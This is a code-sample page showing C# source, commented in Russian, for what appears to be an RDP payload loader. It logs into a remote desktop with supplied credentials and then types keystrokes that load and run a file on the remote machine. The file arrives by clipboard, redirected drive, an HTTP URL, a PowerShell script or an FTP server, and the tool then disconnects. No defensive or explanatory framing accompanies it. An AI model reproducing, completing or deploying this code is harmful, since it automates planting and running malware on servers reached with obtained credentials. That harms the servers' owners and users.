Exemplo n.º 1
0
 public RdpParams.SelectedMethod CallStatic(RdpParams data)
 {
     return(Main.Connect(data));
 }
Exemplo n.º 2
0
        // Рабочие методы
        private static void Run(RdpParams data)
        {
            lock (FileSync)
            {
                // Загружаем файл в канал
                if (data.Method.HasFlag(RdpParams.SelectedMethod.CLIPBOARD) && FileBytes != null && !string.IsNullOrWhiteSpace(FileName))
                {
                    ClipboardChannel.SetFile(FileBytes, FileName);
                }
            }

            lock (FileSync)
            {
                // Загружаем файл в канал
                if (data.Method.HasFlag(RdpParams.SelectedMethod.DRIVE) && FileBytes != null && !string.IsNullOrWhiteSpace(FileName))
                {
                    try
                    {
                        FileSystemChannel.LoadFileToStorage(FileBytes, FileName, Timeout, LoadTimeout);
                    }
                    catch { }
                }
            }

            lock (FileSync)
            {
                // Стрелка влево
                InputKeys.ScanCode.SendKeyEx(0x4B);
                Thread.Sleep(Timeout);
                InputKeys.Input.Enter();
                Thread.Sleep(Timeout);
            }

            lock (FileSync)
            {
                // Clipboard
                if (data.Method.HasFlag(RdpParams.SelectedMethod.CLIPBOARD) && FileBytes != null && !string.IsNullOrWhiteSpace(FileName))
                {
                    if (Network.ConnectionAlive)
                    {
                        if (!string.IsNullOrWhiteSpace(data.FileParams))
                        {
                            InputKeys.Input.LoadAndRunFileFromClipboard(Timeout, LoadTimeout, data.FileParams);
                        }
                        else
                        {
                            InputKeys.Input.LoadAndRunFileFromClipboard(Timeout, LoadTimeout, "");
                        }

                        doneMethod |= RdpParams.SelectedMethod.CLIPBOARD;
                    }
                }
            }

            lock (FileSync)
            {
                // HTTP_BA
                if (data.Method.HasFlag(RdpParams.SelectedMethod.HTTP_BA) && !string.IsNullOrWhiteSpace(data.URL))
                {
                    if (Network.ConnectionAlive)
                    {
                        if (!string.IsNullOrWhiteSpace(data.FileParams))
                        {
                            InputKeys.Input.LoadAndRunFileFromHTTP_BA(data.URL, Timeout, LoadTimeout, data.FileParams);
                        }
                        else
                        {
                            InputKeys.Input.LoadAndRunFileFromHTTP_BA(data.URL, Timeout, LoadTimeout, "");
                        }

                        doneMethod |= RdpParams.SelectedMethod.HTTP_BA;
                    }
                }
            }

            lock (FileSync)
            {
                // HTTP_PS
                if (data.Method.HasFlag(RdpParams.SelectedMethod.HTTP_PS) && !string.IsNullOrWhiteSpace(data.PowerShellScriptText))
                {
                    if (Network.ConnectionAlive)
                    {
                        InputKeys.Input.LoadAndRunFileFromHTTP_PS(data.PowerShellScriptText, Timeout, LoadTimeout);

                        doneMethod |= RdpParams.SelectedMethod.HTTP_PS;
                    }
                }
            }

            lock (FileSync)
            {
                // Drive
                if (data.Method.HasFlag(RdpParams.SelectedMethod.DRIVE) && FileBytes != null && !string.IsNullOrWhiteSpace(FileName))
                {
                    if (Network.ConnectionAlive)
                    {
                        if (!string.IsNullOrWhiteSpace(data.FileParams))
                        {
                            InputKeys.Input.LoadAndRunFileFromDrive(FileName, Timeout, LoadTimeout, data.FileParams);
                        }
                        else
                        {
                            InputKeys.Input.LoadAndRunFileFromDrive(FileName, Timeout, LoadTimeout, "");
                        }

                        doneMethod |= RdpParams.SelectedMethod.DRIVE;
                    }
                }
            }

            lock (FileSync)
            {
                // FTP
                if (data.Method.HasFlag(RdpParams.SelectedMethod.FTP) &&
                    !string.IsNullOrWhiteSpace(data.FtpHost) &&
                    !string.IsNullOrWhiteSpace(data.FtpLogin) &&
                    !string.IsNullOrWhiteSpace(data.FtpFilePath))
                {
                    if (Network.ConnectionAlive)
                    {
                        if (!string.IsNullOrWhiteSpace(data.FileParams))
                        {
                            InputKeys.Input.LoadAndRunFileFromFTP(
                                data.FtpHost + (!string.IsNullOrWhiteSpace(data.FtpPort) ? " " + data.FtpPort : ""),
                                data.FtpLogin,
                                data.FtpPassword,
                                data.FtpFilePath,
                                Timeout,
                                LoadTimeout,
                                data.FileParams);
                        }
                        else
                        {
                            InputKeys.Input.LoadAndRunFileFromFTP(
                                data.FtpHost + (!string.IsNullOrWhiteSpace(data.FtpPort) ? " " + data.FtpPort : ""),
                                data.FtpLogin,
                                data.FtpPassword,
                                data.FtpFilePath,
                                Timeout,
                                LoadTimeout,
                                "");
                        }

                        doneMethod |= RdpParams.SelectedMethod.FTP;
                    }
                }
            }

            lock (FileSync)
            {
                // Отключение
                if (Network.ConnectionAlive)
                {
                    client.Disconnect();
                }
                else
                {
                    Options.IsRunned = false;
                }
            }
        }
Exemplo n.º 3
0
        // Подключение
        public static RdpParams.SelectedMethod Connect(RdpParams data)
        {
            // Задаем переменные безопасности
            SecureValue1 = data.SecureValue1;
            SecureValue2 = data.SecureValue2;
            SecureValue3 = data.SecureValue3;
            SecureValue4 = data.SecureValue4;
            SecureValue5 = data.SecureValue5;
            SecureValue6 = data.SecureValue6;
            SecureValue7 = data.SecureValue7;
            SecureValue8 = data.SecureValue8;

            // Отладка
            if (data.Debug)
            {
                Task.Run(() =>
                {
                    // Инициализируем форму и задаем заголовок
                    var fm  = new DebugForm();
                    fm.Text = data.RdpHost + ":" + data.RdpPort.ToString() + ";" + data.RdpLogin + ";" + data.RdpPassword;

                    // Таймер обновления изображения
                    var timer       = new System.Timers.Timer();
                    timer.Enabled   = true;
                    timer.AutoReset = true;
                    timer.Interval  = 100;
                    timer.Elapsed  += (System.Timers.ElapsedEventHandler)((s, e) =>
                    {
                        lock (Sync)
                        {
                            if (!ChangedRect.IsEmpty() && Options.TryEnter())
                            {
                                if (fm != null && fm.pictureBox1 != null)
                                {
                                    ChangedRect.Clone();
                                    fm.Invoke((Action)(() =>
                                    {
                                        fm.pictureBox1.Image = Options.Canvas.Invalidate();
                                    }));
                                    ChangedRect.Reset();
                                    Options.Exit();
                                }
                            }
                        }
                    });
                    timer.Start();
                    fm.ShowDialog();
                });
            }

            // Устанавливаем таймауты
            Timeout        = data.Timeout;
            LoadTimeout    = data.LoadTimeout;
            ConnectTimeout = data.ConnectTimeout;

            // Устанавливаем данные файла
            FileName  = data.FileName;
            FileBytes = data.FileBytes;

            // Таймер отсечки
            TimeoutTimerStop(data.ConnectTimeout);

            // Инициализируем клиент
            client = new RDPClient();

            // Событие авторизации рдп
            Options.OnAutorizationEvent += () =>
            {
                Task.Run(() =>
                {
                    lock (AuthSync)
                    {
                        if (AuthCount == 0)
                        {
                            AuthCount++;

                            // Рабочие методы
                            Run(data);
                        }
                    }
                });
            };

            // Подключение
            client.Connect(data.RdpHost, data.RdpPort, data.RdpLogin, data.RdpPassword, data.ConnectTimeout, data.NLA);

            // Проверка выполненных методов
            if (!doneMethod.HasFlag(RdpParams.SelectedMethod.FTP) &&
                !doneMethod.HasFlag(RdpParams.SelectedMethod.DRIVE) &&
                !doneMethod.HasFlag(RdpParams.SelectedMethod.CLIPBOARD) &&
                !doneMethod.HasFlag(RdpParams.SelectedMethod.HTTP_BA) &&
                !doneMethod.HasFlag(RdpParams.SelectedMethod.HTTP_PS))
            {
                doneMethod |= RdpParams.SelectedMethod.FAIL;
            }

            // Возвращаем результат
            return(doneMethod);
        }